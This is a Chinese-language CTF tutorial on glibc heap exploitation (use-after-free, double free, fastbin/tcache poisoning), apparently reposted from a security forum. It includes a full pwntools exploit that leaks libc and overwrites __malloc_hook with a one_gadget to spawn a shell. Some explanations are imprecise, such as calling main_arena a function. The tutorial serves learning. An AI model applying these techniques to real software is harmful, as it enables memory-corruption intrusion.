pwn入门-任意地址写之堆漏洞利用

IoT 1个月前 admin
27 0 0

pwn入门-任意地址写之堆利用

最近在进行堆利用的学习,进行了一些总结和各位师傅们分享一下

我们在栈题中可能会通过各种方式获得任意地址写的能力

而在堆利用中,我们则是可以通过对uaf,double free等漏洞的利用来获取任意地址写的能力

Use after Free漏洞

我们首先来认识一下use after free漏洞

void main()
{
    int *ptr1 = malloc(0x20);
    free(ptr1);
}

在上述代码中我们会获得一块大小为0x30大小的内存空间,其中0x10分别为prev size和size两个控制字段
随后的0x20为用户的输入区域
其中指针ptr1指向该空间的头部。在我们free该空间之后,该chunk会被放入bin中
而指向该空间的指针ptr1并未被置零,当该chunk放入的是unsorted bin中时
由于unsorted bin的FIFO(先进先出)出入方式,我们再次malloc(0x20),这段空间会被再次申请回来
并且两个指针会同时指向该chunk的头部
我么可以利用一个低权限的指针去修改高权限的指针指向的内容
就能达到意想不到的效果

例题分析

pwn入门-任意地址写之堆漏洞利用

主函数为堆类的菜单题

pwn入门-任意地址写之堆漏洞利用

菜单给了四个功能
1.分配堆块
2.删除堆块
3.打印堆块内容
4.编辑堆块内容

pwn入门-任意地址写之堆漏洞利用

pwn入门-任意地址写之堆漏洞利用

pwn入门-任意地址写之堆漏洞利用

delete函数中存在明显的uaf漏洞,对chunk[i]和*(void **)(heaplist[v1] + 16LL)进行释放后并未置零相应的指针

pwn入门-任意地址写之堆漏洞利用在unsorted bin中,假如只存在一个chunk的话,由于unsorted bins的双向链表结构
该chunk的fd指针和bk指针会指向同一个内容_main_arena
此时我们在利用打印堆块内容的功能去将fd指针内容泄露出来,便可以得到_main_arena函数的真实地址

pwn入门-任意地址写之堆漏洞利用在此图中,unsorted bins中仅有一个chunk,该chunk的fd,bk指针都指向0x7ff229053ce0
是距离main_arena函数偏移为96的地址,可以根据这个地址和libc文件来计算libc_base,过程如下
1.泄露地址减去相对于main_arena的偏移就是main_arena的真实地址
2.用main_arena减去libc中的偏移可以得到libc_base,偏移可以在gdb中根据真实地址与vmmap的差值来计算

pwn入门-任意地址写之堆漏洞利用

在patchelf之后可以通过这种方式来计算偏移
3.根据libc_base再去得到其他函数的内容来实现攻击
例如我们可以根据该题目中的malloc和free函数来进行利用

解题思路

1.根据uaf漏洞泄露libc基址
2.利用libc基址得到_malloc_hook或者_free_hook的地址以及one_gadget的地址
3.利用fd指针来修改_malloc_hook或者_free_hook为one_gadget
4.最后执行一次add函数来触发malloc,由于调用malloc时会调用malloc_hook,所以会自动执行one_gadget

EXP

from pwn import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

def dbg():
    gdb.attach(io)
    pause()
def choice(idx):
    io.sendlineafter(b'Choice: \n', str(idx))   

def add(size, name, content):
    choice(1)
    io.sendlineafter(b'Size:\n', str(size))
    io.sendlineafter(b'Name: \n', name)
    io.sendlineafter(b'Content:\n', content)


def free(idx):
    choice(2)
    io.sendlineafter(b'Input your idx:\n', str(idx))


def show(idx):
    choice(3)
    io.sendlineafter(b'Input your idx:\n', str(idx))


def edit(idx, content):
    choice(4)
    io.sendlineafter(b'Input your idx:\n', str(idx))
    io.sendline(content)


add(0x410,b'aaaa',b'aaaa')#0

add(0x10,b'bbbb',b'bbbb')#1
#dbg()

free(0)
#dbg()
show(0)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x3ebc40
print(hex(base))
one_gadget = base + 0x10a2fc
malloc_hook = base + libc.sym['__malloc_hook']
free(1)
print(p64(malloc_hook))
edit(1,p64(malloc_hook))

add(0x10, b'aaaa', b'aaaa')
#dbg()
add(0x10, b'aaaa', b'aaaa')
#dbg()
edit(3,p64(one_gadget))
choice(1)
io.sendlineafter(b'Size:\n', b'10')
io.interactive()

Double Free漏洞利用

我们先来了解一下啊double free漏洞
对同一指针指向的chunk进行两次free,如以下代码

int *a = malloc(0x8)
free(a)
free(a)

则触发了Double Free漏洞

可能会出现以下情形

fast bins中存在两个chunk a,随后的malloc时,指针pa pb可能同时指向chunk a

pwn入门-任意地址写之堆漏洞利用

假如连续进行两次free(a),程序会强制中断,产生以下报错

pwn入门-任意地址写之堆漏洞利用

也就是说堆管理器(fast bin和tcache bin )会检测到double free漏洞的存在,例外的是在libc2.26和2.27中,tcache没有double free 检测

因此要在两次free(a)之间free一个新的chunk来绕过检测

假设我们运行以下代码

int *a=malloc(0x8)
int *b=malloc(0x8)
free(a)
free(b)
free(a)

bins的结构会如下图所示

pwn入门-任意地址写之堆漏洞利用

此时我们再malloc两段内存空间,一段用于取出chunk a,一段用于取出用来绕过double free detected的chunk b

int *c = malloc(0x8)
malloc(0x8)

bins的结构会如下图所示

pwn入门-任意地址写之堆漏洞利用

此时c指针指向了chunk a,但是chunk a存在于fast bin中,我们回顾一下fast bin chunk的结构,如下图

pwn入门-任意地址写之堆漏洞利用

在prev size和size两个控制字段之后,是fd指针,指向下一个chunk的头部

而我们c指向的那个chunk,我们以为是个malloced chunk

而malloced chunk是没有fd指针的,size字段之后就是用户输入的数据
因此我们也获得了向任意地址写入任意内容的能力

我们写入的数据首先会输入到fd指针处

假如我们向该处写入栈地址,fast bin会认为栈地址处也是一个fast bin chunk

而chunk内的数据是由用户写入的,因此我们获得了向一块栈空间内任意写数据的能力

这也就是fast bin attack攻击栈的一个整体流程

假设我们需要通过该攻击方式来修改栈空间的内一个变量的值

pwn入门-任意地址写之堆漏洞利用

我们需要malloc的地址需要指向该变量地址处减去两个字长的地址(堆是由低地址向高地址增长,size的地址比prev size要高一个字长,var变量的地址就比prev size要高两个字长),因为malloc chunk是存在两个控制字段的,需要提前将这两个控制字段布置好

假设此处不是var变量,而是程序的返回地址,我们将其修改为/bin/sh\x00,便可以获得shell

原文始发于先知社区(1544698554389580 ):pwn入门-任意地址写之堆漏洞利用

版权声明:admin 发表于 2024年5月17日 上午8:52。
转载请注明:pwn入门-任意地址写之堆漏洞利用 | CTF导航

相关文章